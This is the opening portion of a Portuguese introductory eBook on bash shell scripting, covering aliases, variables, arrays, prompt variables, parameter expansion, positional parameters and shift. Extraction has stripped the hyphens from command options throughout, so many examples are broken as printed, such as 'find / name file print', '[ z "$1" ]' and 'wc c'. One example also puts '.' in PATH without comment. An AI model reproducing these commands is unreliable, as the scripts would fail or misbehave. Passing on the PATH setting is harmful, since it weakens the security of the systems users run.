ShellScripts 1
eBook
Shell Scripts Adbeel Goes Filho
Fortaleza – Ceará Brasil
Versão 2006.04.25
Adbeel Goes Filho
ShellScripts 2
ADBEEL GOES FILHO
Shell Scripts
VIRTVS Fortaleza 2006
Adbeel Goes Filho
ShellScripts 3
CopyFree (C) 2006 da VIRTVS Engenharia e Informática Ltda Congregamos todos os esforços para fornecer informações de ampla qualidade, contudo, devido ao dinamismo da área de informática, os autores não assumem responsabilidade pelos resultados e usos das informações fornecidas. Recomentamos amplamente aos leitores testar as informações antes de sua efetiva utilização, ao tempo em que agradecemos antecipadamente por críticas e sugestões prestadas. Copyright (c) 2000, Adbeel Goes Filho. É garantida a permissão para copiar, distribuir e/ou modificar este documento sob os termos da GNU Free Documentation License, versão 1.1 ou qualquer outra versão posterior publicada pela Free Software Foundation; sem obrigatoriedade de Seções Invariantes na abertura e ao final dos textos. Uma copia da licença deve ser incluída na seção intitulada GNU Free Documentation License. Copyright (c) 2000, Adbeel Goes Filho. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the FrontCover Texts being LIST, and with the BackCover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License". Este trabalho foi editado e composto eletronicamente utilizando somente ferramentes livres:
Conhecimentos necessários para a leitura deste trabalho: Entendimento básico de sistemas operacionais, Comandos básicos de Unix, Linux, Solaris, FreeBSD ou outro sistema operacional com base Unix, Linguagem de programação, Edição eletrônica de textos. Editor Responsável Satis Diagramação e Produção Virtvs VIRTVS Engenharia e Informática Rua Cel. Ribeiro da Silva, 391. CEP 60.325210. Monte Castelo. Fortaleza – CE. Telefone: +55 (85) 32833124 www.virtvs.com.br Adbeel Goes Filho
ShellScripts 4
SOBRE O AUTOR Adbeel Goes Filho
[email protected] [email protected] [email protected] Engenheiro Civil pela Universidade Federal do Ceará (UFC). Especialista em Ciência da Computação pela Universidade Federal do Ceará (UFC). Mestre em Ciência da Computação pela Universidade Federal do Ceará (UFC). Especialista em Matemática Computacional e Otimização de Sistemas. Doutorando em Engenharia Civil – Recursos Hídricos (UFC) Acadêmico de Administração de Empresas pela Universidade Estadual do Ceará (UECE). Professor do Curso de Graduação em Informática da Universidade de Fortaleza (UNIFOR). Coordenador de Gestão Estratégica do Departamento Nacional de Obras Contra as Secas (DNOCS). Diretor de Engenharia e Informática da VIRTVS Engenharia e Informática Ltda Consultor nas áreas de engenharia civil e informática em empresas e instituições públicas. Consultor na área de custos e acompanhamento de projetos de engenharia civil. Consultor da PERITUS Projetos e Pesquisas Ltda, na área de organização, projetos e informática. Exprofessor dos cursos de Processamento de Dados, Engenharia Civil, Agronomia, Engenharia e Alimentos, Geologia, Matemática e Estatistica da Universidade Federal do Ceará (UFC). Exprofessor do Curso de Bacharelado em Computação da Faculdade Lourenço Filho. Exdiretor de engenharia e informática da Rhodes Engenharia e Informática Ltda. ExAnalista de Sistemas da Fundação Cearense de Meteorologia (FUNCEME).
Adbeel Goes Filho
ShellScripts 5
AGRADECIMENTOS
VIRTVS Engenharia e Informática Ltda Departamento Nacional de Obras Contra as Secas – DNOCS Universidade Federal do Ceará – UFC Universidade de Fortaleza – UNIFOR Faculdade Lourenço Filho FLF
AGRADECIMENTOS ESPECIAIS
Aos meus pais Elsie Studart e Adbeel Goes de Oliveira Aos meus avós (in memoriam) Angelina Goes de Oliveira e Luis Rodrigues de Oliveira Olga Sales Lopes Gurgel e Benjamim Studart Gurgel A minha esposa Cristine Studart de Santana A meu grande mestre Prof. Dr. Gerardo Valdisio Rodrigues Viana Ao meu orientador acadêmico e de vida Prof. Dr. Clécio Fontelles Thomaz Ao meu orientador e incentivador Prof. Dr. Nilson Campos Aos meus grandes mestres: Antônio Gouveia Neto Afrodisio Durval Gondim Pamplona Amaury Aragão Araújo Genésio Martins de Araújo Suetônio Mota Vicente de Paula Barbosa Vieira A todos os outros que, pelo esquecimento, tipico da natureza humana, deixamos de citar.
Adbeel Goes Filho
ShellScripts 6
Marcas Registradas Durante este trabalho aparecem várias marcas registradas, contudo, o autor declara estar utilizando tais nomes apenas para fins editorais, em benefício exclusivo da marca registrada, sem a mínima intenção de infrigir regras de sua utilização.
Adbeel Goes Filho
ShellScripts 7
Sumário Capitulo 1. Introdução........................................................................................................................................10 1.O Shell ......................................................................................................................................................10 2.O que são os shell scripts ? ......................................................................................................................12 3.Definições .................................................................................................................................................14 4.Variáveis ...................................................................................................................................................14 5.Formato dos Arquivos de Shell Script .......................................................................................................22 6.Exercicios..................................................................................................................................................34 Capitulo 2. Execução de Programas..................................................................................................................36 7.Execução em foreground e background ....................................................................................................36 8.Redirecionamento......................................................................................................................................37 9.Metacaracteres e Wildcards......................................................................................................................40 10.Sequências de Escape ANSI...................................................................................................................44 11.Códigos de Escape .................................................................................................................................49 12.Conclusões..............................................................................................................................................50 13.Exercicios.................................................................................................................................................51 Capitulo 3. Comandos Condicionais..................................................................................................................52 Capitulo 4. Comandos de Repetição.................................................................................................................62 14.while.........................................................................................................................................................62 15.for ............................................................................................................................................................63 16.until..........................................................................................................................................................66 17.case .........................................................................................................................................................66 18.break e continue......................................................................................................................................67 19.Redirecionando loops..............................................................................................................................69 20.select ......................................................................................................................................................75 21.Funções...................................................................................................................................................78 22.Tornando seu script amigável..................................................................................................................87 23.dialog.......................................................................................................................................................89 Capitulo 5. Comandos Avançados.....................................................................................................................94 1.cut..............................................................................................................................................................94 2.wc..............................................................................................................................................................98 3.tee..............................................................................................................................................................98 4.sort.............................................................................................................................................................99 5.grep..........................................................................................................................................................100 6.sed...........................................................................................................................................................106 Capitulo 6. Bibliografia......................................................................................................................................113 Capitulo 7. Apêndice A – Endereços Internet...................................................................................................114 Capitulo 8. Anexos............................................................................................................................................115 1.Exemplos..................................................................................................................................................116 2.Laboratórios.............................................................................................................................................132 3.Exercicios.................................................................................................................................................140 5.GNU Free Documentation License..........................................................................................................143
Adbeel Goes Filho
ShellScripts 8
Abreviações Utilizadas *IX
Sistema operacional fundamentado em Unix
LP
Linguagem de programação
SO
Sistema Operacional
SS
Shellscript
Adbeel Goes Filho
ShellScripts 9
Capitulo 1. Introdução 1. O Shell Shell, ou interpretador de comandos, é o programa disparado logo após o login responsável por "pegar" os comandos do usuário, interpretálos e executar uma determinada ação. Estas ações são subrotinas conhecidas pelo nome de system calls. Por exemplo, quando você escreve no console "ls" e pressiona <enter>, o shell lê essa string e verifica se existe algum comando interno (embutido no próprio shell, também chamado de intrínseco) com esse nome. Se houver, ele executa esse comando interno. Caso contrário, ele vai procurar no PATH por algum programa que tenha esse nome. Se encontrar, ele executa esse programa, caso contrário, ele retorna uma mensagem de erro. Para cada terminal ou console aberto, existe um shell sendo executado. Quando você entra no seu Linux, ele apresenta o login, para digitar o usuário e a senha. Ao digitar um par usuário/senha correto, o Linux abre automaticamente um shell, que vai ficar esperando seus comandos. Funcionando como uma ponte, o Shell é a ligação entre o usuário e o kernel. O kernel é quem acessa o hardware da máquina, como disco rígido, placa de vídeo e modem. Por exemplo, para o usuário acessar um arquivo qualquer, toda esta hierarquia é seguida: USUÁRIO > SHELL > KERNEL > HARDWARE Antes de Começar Se você está acessando o sistema como usuário administrador (root), saia e entre como um usuário normal. É muito perigoso estudar Shell usando o superusuário, você pode danificar o sistema com um comando errado.
Veja o exemplo abaixo: Welcome to Linux Slackware 7.1 kernel 2.2.16. virtvs login: eu Password:
Adbeel Goes Filho
ShellScripts 10
Linux 2.2.16. Last login: Mon Sep 25 10:41:12 0300 2000 on tty1. No mail. virtvs@mucuripe:~$ Essa última linha é o shell. Se você digitar o comando "ps", verá que um dos programas rodando é o seu shell . O comando “ps” lista os processos em : virtvs@mucuripe:~$ ps PID TTY TIME CMD 164 tty2 00:00:00 bash 213 tty2 00:00:00 ps virtvs@mucuripe:~$ Ou seja, o shell utilizado nesse console é o bash, que está rodando com PID 164. Existem diversos tipos de shell: bash, csh, ksh, ash, etc. Por exemplo, o AIX/6000 possui 5 tipos de shell disponíveis: korn shell (ksh), bourne shell (bsh, sh), C shell (csh), trusted shell (tsh), restricted shell (rsh). O default para este sistema é o ksh. O mais utilizado atualmente é o bash (GNU BourneAgain SHell). Por isso o tomaremos como referência. Resumindo essa seção, é importante saber que para cada terminal ou console aberto, temse um shell rodando. Assim, se você tem 3 xterms abertos na interface gráfica, vai ter um shell para cada xterm. Ao executar o shell script, o shell atual (no qual você deu o comando) abre um novo shell para executar o script. Assim, os scripts são executados em um shell próprio (a menos que se especifique, ao chamar o script, para executálo no shell atual). Isso será importante quando formos tratar de variáveis de ambiente. O uso de alias Alias é um novo nome, ou apelido, para o comando. Pode ser usado para abreviar longas linhas de comando ou fazer com que comandos comportemse diferente da execução padrão. Sintaxe:
alias [nome[=string]]
Exemplo: alias cls=clear alias ls='ls logt' alias dir=ls
Adbeel Goes Filho
ShellScripts 11
2. O que são os shell scripts ? Shell scripts são conjuntos de comandos armazenados em um arquivo texto que são executados seqüencialmente. Nesta primeira parte, faremos uma introdução sobre o shell, o formato desses arquivos e variáveis de ambiente. Shell pode ser standard ou restrito, na verdade é um comando que possibilita gerar textos com lógica de programação. É muito utilizado para montagem de ambientes de login e abertura de novos processos que indicam nova seção. Existe vários tipos de shells, a mais utilizada é a sh, que é um link da bash, ou seja /bin/sh é link de /bin/bash Detalhes importantes Qualquer shellscript criado necessita na "primeira linha" de indicar onde se encontra o shell interpretador, ou seja o destino, que por padrão é #!/bin/sh, porém pode ter casos de se localizar em outro diretório. Também devo dizer que todo shellscript deve ter permissão para obter a execução. Caso não seja informada esta primeira linhx o shell usará a default do sistema. Sintaxe : $chmod a+x shellscript Para colocar comentários assim como no PERL, utilize o # (chamado culturalmente de sustenido) O Primeiro Shell Script O primeiro Shell Script a fazer será o "sistema" do exemplo anterior, de simplesmente juntar três comandos num mesmo script. Passos Para Criar um Shell Script 1. Escolher um nome para o script Já temos um nome: sistema. Use apenas letras minúsculas e evite acentos, símbolos e espaço em branco 2. Escolher o diretório onde colocar o script Para que o script possa ser executado de qualquer parte do sistema, movao para um diretório que esteja no seu PATH. Para ver quais são estes diretórios, use o comando: echo $PATH Se não tiver permissão de mover para um diretório do PATH, deixeo dentro de seu HOME 3. Criar o arquivo e colocar nele os comandos
Adbeel Goes Filho
ShellScripts 12
Use o VI ou outro editor de textos de sua preferência para colocar todos os comandos dentro do arquivo. 4. Colocar a chamada do Shell na primeira linha A primeira linha do script deve ser: #!/bin/bash Para que ao ser executado, o sistema saiba que é o Shell quem irá interpretar estes comandos. 5. Tornar o script um arquivo executável Use o seguinte comando para que seu script seja reconhecido pelo sistema como um comando executável: chmod +x sistema Problemas na Execução do Script "Comando não encontrado" O Shell não encontrou o seu script. Verifique se o comando que você está chamando tem exatamente o mesmo nome do seu script. Lembrese que no Linux as letras maiúsculas e minúsculas são diferentes, então o comando "SISTEMA" é diferente do comando "sistema". Caso o nome esteja correto, verifique se ele está no PATH do sistema. O comando "echo $PATH" mostra quais são os diretórios conhecidos, mova seu script para dentro de um deles, ou chameo passando o caminho completo. Se o script estiver no diretório corrente, chameo com um "./" na frente, assim: $./sistema Caso contrário, especifique o caminho completo desde o diretório raiz: $/tmp/scripts/sistema "Permissão Negada" O Shell encontrou seu script, mas ele não é executável. Use o comando "chmod +x seuscript" para tornálo um arquivo executável. "Erro de Sintaxe" O Shell encontrou e executou seu script, porém ele tem erros. Um script só é executado quando sua sintaxe está 100% correta. Verifique os seus comandos, geralmente o erro é algum IF ou aspas que foram abertos e não foram fechados. A própria mensagem informa o número da linha onde o erro foi encontrado.
Adbeel Goes Filho
ShellScripts 13
3. Definições Branco e TAB ou espaço são a mesma coisa. Um nome é uma sequência de letras, digitos ou underscores começando com uma letra ou underscore. Um parâmetro é um nome um digito ou algum desses caracteres: *, #, ?, , $, e !. Comando : é uma sequência de não brancos separados por brancos. A primeira sequência ou argumento é o argumento 0. Pipeline : é uma sequência de um ou mais comandos separados por | (ou, para compatibilidade histórica, pelo ^). A função de uma pipeline é sincronizar a entrada ou saida padrão para um arquivo do tipo FIFO. Uma lista : é uma sequência de pipelines separadas por;. &, &&, or ||, e opcionalmente, terminada por ; ou &. Exemplos de comandos do shell: for name [ in word ... ] do list done case word in [ pattern [ | pattern ] ...) list ;; ] ... esac if list then list [ else list then list ] ... [ else list ] fi while list do list done
4. Variáveis Uma variável é onde o shell armazena determinados valores para utilização posterior. São áreas de memória onde podem ser armazenados dados. Estes dados podem ser números, textos, listas de arquivos e até mesmo resultados da saida de comandos que podem ser utilizados posteriormente. Existem duas categorias de variáveis que podemos definir no ambiente Unix: 1. Variáveis locais – disponíveis somente para o Shell corrente, não sendo acessadas pelos subprocessos; 2. Variáveis ambientais ou globais – disponíveis tanto para o Shell corrente como para os subprocessos que venham a usar o conteúdo das variáveis definidas. Para transformar uma variável com escopo global utilize o comando export. Exemplo: export
Para a visualização das variáveis locais, usase o comando set. Para verificar quais variáveis estão exportadas, usase o comando env. Toda variável possui um nome e um valor associado a ela, podendo ser este último vazio. Para listar as variáveis atualmente definidas no shell digite o comando set. Para se definir uma variável, basta utilizar a síntaxe (Sem espaço ao redor do =): nome_da_variável=conteúdo Por exemplo, queremos definir uma variável chamada "cor" com o valor de "azul": Adbeel Goes Filho
ShellScripts 14
virtvs@mucuripe:~$ cor=azul Para utilizar o valor de uma variável, é só colocar um sinal de "$" seguido do nome da variável o shell automaticamente substitui pelo valor da variável: virtvs@mucuripe:~$ echo cor cor virtvs@mucuripe:~$ echo $cor azul Em alguns casos, é aconselhável colocar o nome da variável entre chaves {}. Por exemplo, se quero imprimir "azulescuro", como faria ? Simplesmente echo $corescuro ? Não funcionaria, pois o bash vai procurar uma variável de nome "corescuro". Portanto, temos que colocar o nome "cor" entre chaves para delimitar o nome da variável: virtvs@mucuripe:~$ echo ${cor}escuro azulescuro Algumas variáveis já são predefinidas no shell, como o PATH, que, como foi dito antes, armazena o caminho dos programas. Por exemplo, a minha variável PATH contém: virtvs@mucuripe:~$ echo $PATH /usr/local/bin:/usr/bin: /bin: /usr/X11R6/bin: /usr/openwin/bin:/usr/games: /opt/kde/bin: /usr/share/texmf/bin: /etc/script ou seja, quando digito um comando, como "ls", o shell vai começar a procurálo em /usr/local/bin, se não encontrálo, vai procurar em /usr/bin e assim por diante. Repare que os diretórios são separados por um sinal de dois pontos (:). É importante destacar que o shell possui várias variáveis prédefinidas, ou seja, que possuem um significado especial para ele, entre elas: PATH, PWD, PS1, PS2, USER e UID. Assim, quando iniciamos um novo shell (ao executar o nosso script), essas variáveis especiais são "herdadas" do shell pai (o que executou o shell filho). Outras variáveis definidas pelo usuário, como a variável "cor" não são passadas do shell pai para o filho. Quando o script terminar, o seu shell (shell filho) simplesmente desaparece e com ele também as suas variáveis, liberando o espaço ocupado na memória. Para tornar uma variável imune à alteração ou deleção, devese usar o comando readonly Variáveis somente leitura não podem ser apagadas. Elas somente deixarão de existir no momento em que for efetuado o logout da sessão de terminal, ou se o programa que criou a variável for encerrado, exceto no caso de o Shellscript estar rodando na mesma instância de interpretador que iniciou a execução do scriptShell. readonly nome Para apagar uma variável, use o comando unset: Adbeel Goes Filho
ShellScripts 15
unset nome Variáveis Array Também conhecidas como vetores. Este tipo de variável serve para armazenar vários valores sob um nome e um índice. A maneira de declarar variáveis array é a seguinte: NomeDaVariavel[Indice]=Valor sendo que Indice deve ser necessariamente um valor inteiro. Imaginemos que Maria queira armazenar uma lista de suas frutas favoritas em uma variável array. Para isso ela faria o seguinte: $ FRUTA[0]=goiaba $ FRUTA[1]=manga $ FRUTA[2]=pera $ FRUTA[3]=laranja Supondo que ele colocou esta lista em ordem decrescente de gosto, para sabermos qual é a sua fruta favorita basta digitarmos: $ echo ${FRUTA[0]} Se colocarmos $FRUTA[0] e shell exibirá goiaba[0] (goiaba concatenado com [0]. Desta forma notase a necessidade do uso de {} Agora vejamos uma coisa interessante. Se eu declarar uma variável assim: $FRUTA=goiaba e depois quiser fazer um array com o nome FRUTA eu posso fazer assim: $ FRUTA[1]=manga Desta maneira 'goiaba' passa a ser armazenada em FRUTA[0] Outra coisa interessante é que podemos declarar um array inteiro numa única linha de comando. Para isto usamos a sintaxe: NomeDoArray=(valor1 valor2 ... valorn) Desta maneira Maria economizaria teclado digitando isto: $FRUTA=(goiaba manga pera laranja) Adbeel Goes Filho
ShellScripts 16
E para vermos toda a lista de uma vez só, podemos usar o seguinte comando: $ echo ${FRUTA[*]} Existem várias outras especificações para arrays, aqui é só o básico. E se você precisar usar arrays de maneira mais complexa que isso procure a documentação oficial do bash. Ambiente do usuário O ambiente do usuário descreve a sessão para o sistema, contendo as seguintes informações, geralmente armazenadas em variáveis de ambiente: . Caminho para o diretório home HOME; . Para onde enviar seu correio eletrônico MAIL; . Fuso horário local TZ; . Com que nome você se logou LOGNAME; . Onde seu shell pesquisará os comandos PATH; . Seu tipo de terminal TERM; . Outras definições necessárias. A variável PS1 Esta é a "Prompt String 1" ou "Primary Prompt String". Nada mais é do que o prompt que nos mostra que o shell está esperando um comando. Quando você muda PS1 você muda a aparência do prompt. Na minha máquina o padrão é '\u@\h:\w\$ ' onde \u significa o nome do usuário, \h significa o nome do host e \w é o diretório atual, o que dá a seguinte aparência: meleu@meleu:/usr/doc/LinuxHOWTOs$ Veja algumas possibilidades (Verifique mais no manual do bash): \d mostra a data atual \h mostra o hostname \s o nome do shell \t a hora atual (no estilo 24 horas) \T a hora atual (no estilo 12 horas) \u nome do usuário que está usando o shell \w nome do diretório atual (caminho todo) \W nome do diretório atual (somente o nome do diretório) Se você estiver afim de ter a impressão de que está no shell do root basta trocar o '$' por '#' Para aprender a fazer um monte de gracinhas com o PS1 dê uma lida no BashPromptHOWTO A variável PS2
Adbeel Goes Filho
ShellScripts 17
Esta é a "Secondary Prompt String". É usada quando um comando usa mais de uma linha. Por exemplo: $ echo m\ > e\ > l\ > e\ > u meleu $ echo 'm > e > l > e > u' m e l e u Este sinal '> ' (maiorespaço) é o PS2. Você pode usar os mesmos caracteres especiais que o PS1 usa. A variável MAIL Nada mais é do que o arquivo onde são guardados seus emails. Aqui na minha máquina eu uso o sendmail como servidor de email, portanto: meleu@meleu:~$ echo $MAIL /var/spool/mail/meleu porém se estivesse usando qmail seria: meleu@meleu:~$ echo $MAIL /home/meleu/Mailbox A variável SHLVL Esta variável armazena quantos shells você executou a partir da primeira shell. Imagine que você está usando o bash e executou o bash de novo, nesta situação o seu SHLVL vale 2. Veja isto: $ echo $SHLVL 1 $ bash # estou executando o bash a partir do bash $ echo $SHLVL Adbeel Goes Filho
ShellScripts 18
2 $ exit # saí do segundo bash exit $ echo $SHLVL 1 Quando você inicializa scripts a partir do comando "source" o script é executado no shell pai, portanto se tiver um "exit" no script você vai executar um logoff. É aí que está a utilidade da variável SHLVL. Quando você está no shell primário o valor de SHLVL é 1. Então você pode, através de um "if" por exemplo, executar o "exit" só se SHLVL for diferente de 1. A variável PROMPT_COMMAND Esta é bem interessante. Ela armazena um comando que será executado toda hora que o prompt é exibido. Veja: $ PROMPT_COMMAND="date +%T" 19:24:13 $ cd 19:24:17 $ ls GNUstep/ bons.txt pratica/ teste worldwritable.txt Mail/ hacking/ progs/ txts/ 19:24:19 $ 19:24:32 $ # isso eh uma linha sem nenhum comando 19:24:49 $ Esta variável é útil quando queremos brincar com o prompt, para aprender mais sobre isso leia o BashPromptHOWTO (v. 10. Referências). A variável IFS O shell usa esta variável para dividir uma string em palavras separadas. Normalmente o IFS é um espaço, uma tabulação (Tab) e um caractere nova linha (\n). Desta maneira: isto eh uma string são quatro palavras, pois IFS é um espaço e as palavras estão separadas por espaço. Agora se eu mudar IFS para um ':' desta maneira: IFS=':' então a string:
Adbeel Goes Filho
ShellScripts 19
isto:eh:uma:string conterá quatro palavras. Isto é útil para casos como neste exemplo: #!/bin/bash IFS=':' for item in $PATH ; do echo $item done Se IFS for uma variável nula (vazia), tudo será considerado uma única palavra. Por exemplo: se o IFS for nulo, toda essa linha será considerada uma única palavra A variável RANDOM Quando você exibe esta variável ("echo $RANDOM") é exibido um número aleatório entre 0 e 32767. #!/bin/bash NUM="98$(echo $RANDOM)0" CONT=$(echo n $NUM | wc c) # quantos digitos tem? while [ $CONT lt 8 ]; do # se nao tiver 8 digitos acrescenta 0's NUM=${NUM}0 CONT=$(echo n $NUM | wc c) done echo $NUM Outras Variáveis Outras variáveis que são muito usadas: MAILCHECK ; HISTFILE ; HOSTNAME ; LS_OPTIONS ; LS_COLOR ; MANPATH ; SHELL ; TERM ; USER ; PS3 . Estas são as mais utilizadas, porém existem muitas outras. Para ver quais são as variáveis definidas no momento basta entrar com o comando "set". E para ver apenas as variáveis de ambiente use "env". Olhe a man page do bash na seção "Shell Variables" para mais detalhes. Configurando variáveis do Shell nome=conteúdo Não deve haver espaço antes ou depois do sinal de igual. Isso assegura que a atribuição seja feita corretamente, não sendo interpretada com o um comando com argumentos separados por espaço. Poderemos tambem acessar substrings em variaveis na forma Adbeel Goes Filho
ShellScripts 20
#a=”13/05/2004” #b=${a:6:4} #echo $b #2004 A variável PATH Armazena a relação de diretório, usada pelo Shell para pesquisa de comandos. Os diretórios a serem pesquisados devem estar separados por (:). Lembrese que os nomes de variáveis são sensíveis ao contexto, ou seja PATH não é igual a PaTh. Exemplo: export PATH=/usr/bin:/usr/sbin:.
Exercícios 1. Crie um alias limpatela que execute o comando clear. 2. Mude o prompt do sistema para que apareça: <usuário>@$ 3. Coloque o alias criado anteriormente no seu shell. 4. Elabore um shellscript para gerar 10 números aleatórios.
Adbeel Goes Filho
ShellScripts 21
5. Formato dos Arquivos de Shell Script A primeira linha de todo shellscript deve começar com algo do tipo (Se não colocar é assumido o shell padrão): #!/bin/bash a qual indica com qual shell deverá ser executado o script. Nesse exemplo, estamos falando para o shell atual executar o script com o shell /bin/bash. Se quisermos que o nosso script seja executado com o shell csh, devemos colocar nessa primeira linha: #!/bin/csh Como usaremos o bash como nosso shell de referência, todas as linhas dos nossos scripts começarão com #!/bin/bash Digamos que você executa freqüentemente o comando: find / name file print que procura na raiz (/) por um arquivo de nome "file". Só que é incômodo ficar digitando esse comando toda vez que se quer procurar um arquivo. Então vamos criar um shell script que contenha esse comando. Vamos chamar esse shell script de "procura". Seu conteúdo fica assim: #!/bin/bash find / name file print Tornemos agora o arquivo executável: chmod 755 ./procura . Porém, ao tentar executar o nosso script, teremos um problema. ./procura Este script irá procurar por um arquivo chamado "file". Como especificar qual arquivo queremos procurar ? Seria ideal executarmos o nosso script seguido do nome do arquivo que queremos procurar. Por exemplo, queremos saber onde está o arquivo "netscape": ./procura netscape É ai que entram as "variáveis de parâmetro". Vamos substituir no nosso script a linha find / name file print por find / name $1 print Quando o bash lê a variável "$1", ele a substitui pelo primeiro parâmetro passado na linha de comando para o nosso script. Então, se executamos ./procura netscape , a variável "$1" será substituída por "netscape", como a gente queria. Repare que a variável "$2" conteria o segundo parâmetro passado para o script e assim por diante. Sendo assim, qualquer comando colocado abaixo de find seria executado após ele. Adbeel Goes Filho
ShellScripts 22
Esse é o essencial do shell script: poder automatizar a execução de programas e comandos como se estivessem sendo digitados diretamente no console ou terminal. 1.
Capacidades de substituição do Shell
Uma característica interessanto no shell é a capacidade de podermos manipular textos, números e até saída de comandos através de variáveis. Existem 3 tipos de substituição no Shell: 1. Substituição de variáveis \ parâmetros; 2. Substituição de comandos; 3. Substituição do til; Substituição de variáveis \ parâmetros Cada variável tem um valor associado a ela. Quando o nome de uma variável for precedido por uma sinal de $ (dólar), o Shell substituirá o parâmetro pelo conteúdo da variável. Este procedimento é conhecido com Substituição de Variável. Uma das maneiras de exibir o conteúdo de uma variável é usando o comando echo. Existem dois tipos de parâmetros: posicional e o de palavra chave. Se o parâmetro é um digito, então é posicional. Palavras chave (também conhecida como variáveis) podem ter seus valores escritos. ${variavel:string} Se "variavel" não tiver sido definida ou for vazia será substituída por "string". O valor da variável não é alterado. Veja este exemplo: $ echo ${URL:"http://unsekurity.virtualave.net"} http://unsekurity.virtualave.net $ echo $URL # observe que URL nao foi alterado ${variavel:=string}
Se "variavel" não estiver sido definida ou for vazia, receberá "string". Exemplo:
$ echo ${WWW:="http://meleu.da.ru"} http://meleu.da.ru $ echo $WWW http://meleu.da.ru ${variavel:?string} Se "variavel" não estiver sido definido ou for vazia, "string" será escrito em stderr (saída de erro padrão). O valor da variável não é alterado. Veja um exemplo:
Adbeel Goes Filho
ShellScripts 23
$ echo ${EDITOR:?"Nenhum editor de texto"} bash: EDITOR: Nenhum editor de texto $ echo $EDITOR ${variavel:+string} Se "variavel" estiver definida, será substituída por "string" mas seu valor não será alterado. Exemplo: $ echo ${BROWSER:+"BROWSER definido como \"$BROWSER\""} BROWSER definido como "links" Variáveis SomenteLeitura Como sabemos as variáveis podem ter seu valor modificado pelo usuário, mas se nós quisermos variáveis que NÃO possam ter seus valores alterados basta declararmos tal variável como somenteleitura. Para tornar uma variável readonly podemos usar o comando "readonly" ou então "declare r". Veja os exemplos a seguir, ambos possuem o mesmo resultado: $ readonly NOME="Meleu Zord" $ echo $NOME Meleu Zord $ declare r NOME="Meleu Zord" $ echo $NOME Meleu Zord $ NOME=Fulano bash: NOME: readonly variable $ echo $NOME Meleu Zord Um bom uso deste tipo de variável é para garantir que variáveis importantes de um determinado script não possam ser sobregravadas, evitando assim algum resultado crítico. O comando "readonly" quando usado sem parâmetros (ou o comando "declare" apenas com o parâmetro "r") nos mostra todas as variáveis declaradas como somenteleitura. No exemplo a seguir se for usado "declare r" no lugar de "readonly" teríamos a mesma saída. $ readonly declare ar BASH_VERSINFO='([0]="2" [1]="05" [2]="0" [3]="1" [4]="release" [5]="i386slackwarelinuxgnu")' declare ir EUID="1005" declare ir PPID="1" Adbeel Goes Filho
ShellScripts 24
declare r SHELLOPTS="braceexpand:hashall:histexpand:monitor:ignoreeof:interactivecomments:emacs" declare ir UID="1005" Existem variáveis somenteleitura que são inicializadas pelo shell, como USER, UID. TODAS as variáveis readonly uma vez declaradas não podem ser "unsetadas" ou ter seus valores modificados. O único meio de apagar as variáveis readonly declaradas pelo usuário é saindo do shell (logout). Parâmetros Podemos passar parâmetros para o shellscript assim como na maioria dos programas. Os parâmetros são variáveis, digamos, especiais. Para começar elas não obedecem as regras de nomeclatura de variáveis, pois elas usam números; e também nós não podemos mudar o valor destas variáveis pelas vias "tradicionais", para mudar o valor destas nós temos que contar com a ajuda do shift e/ou do set (como veremos adiante). Veja esta relação: $0
é o nome do shellscript (parâmetro zero);
$1 a $9
$1 é o primeiro parâmetro, $9 o nono, e assim por diante;
${10}, ${11}..
quando o número do parâmetro possui mais de um dígito é necessário o uso das chaves;
$*
todos os parâmetros em uma única string (exceto o $0)
$@
todos os parâmetros, cada um em strings separadas (exceto $0)
$#
número de parâmetros (sem contar com o $0).
$?
valor de retorno do último comando (explicado mais adiante);
$$
PID do script;
$!
PID do último comando iniciado com &
Adbeel Goes Filho
ShellScripts 25
Exemplo: #!/bin/bash # # "basename" serve para eliminar o caminho do arquivo e mostrar # somente o último nome dele. Neste caso: parametros.sh echo "Nome do script: `basename $0`" echo "Número total de parâmetros: $#" echo "Primeiro parâmetro: $1" echo "Segundo parâmetro: $2" echo "Décimo quinto parâmetro: ${15}" echo "Todos os parâmetros: $*" $ ./parametros.sh a b c d e f g h i j l m n o p q r s t u v x z Nome do script: parametros.sh Número total de parâmetros: 23 Primeiro parâmetro: a Segundo parâmetro: b Décimo quinto parâmetro: p Todos os parâmetros: a b c d e f g h i j l m n o p q r s t u v x z Se você não entendeu direito a diferença entre o $* e o $@, então dê uma olhada no seguinte script (se não entendêlo tudo bem, siga em frente e quando aprender sobre o "if" e o "for" leiao novamente): Exemplo: #!/bin/bash # Ao executar este script entre alguns parametros. Ex.: # [prompt]$ ./testargs.sh um dois tres quatro if [ z "$1" ]; then echo "Uso: `basename $0` argumento1 argumento2 etc." exit 1 fi echo echo "Listando argumentos com \"\$*\":" num=1 for arg in "$*"; do echo "Arg #$num = $arg" num=$[ $num + 1 ] done Adbeel Goes Filho
ShellScripts 26
# Conclusão: $* mostra todos os argumentos como uma única string echo echo "Listando argumentos com \"\$@\":" num=1 for arg in "$@"; do echo "Arg #$num = $arg" num=$[ $num + 1 ] done # Conclusão: $@ mostra cada argumento em strings separadas echo shift O bash possui um comando embutido que lida com parâmetros, o shift. Quando você usa o shift sai o primeiro parâmetro da lista e o segundo vai para $1 o terceiro vai para $2, e assim por diante. Você pode ainda especificar quantas "casas" você quer que os parâmetros "andem" à esquerda através de "shift n" onde 'n' é o número de casas, mas se o número de casas que ele deve andar for maior que o número de parâmetros o shift não é executado. Veja este exemplo: #!/bin/bash echo "$#: $*" echo e "executando \"shift\"" shift echo "$#: $*" echo e "executando \"shift 5\"" shift 5 echo "$#: $*" echo e "executando \"shift 7\"" shift 7 echo "$#: $*" $ ./shiftexemplo.sh 1 2 3 4 5 6 7 8 9 0 10: 1 2 3 4 5 6 7 8 9 0 executando "shift" 9: 2 3 4 5 6 7 8 9 0 executando "shift 5" 4: 7 8 9 0 executando "shift 7" 4: 7 8 9 0 Os valores que saem são perdidos. Use com atenção! Adbeel Goes Filho
ShellScripts 27
Adbeel Goes Filho
ShellScripts 28
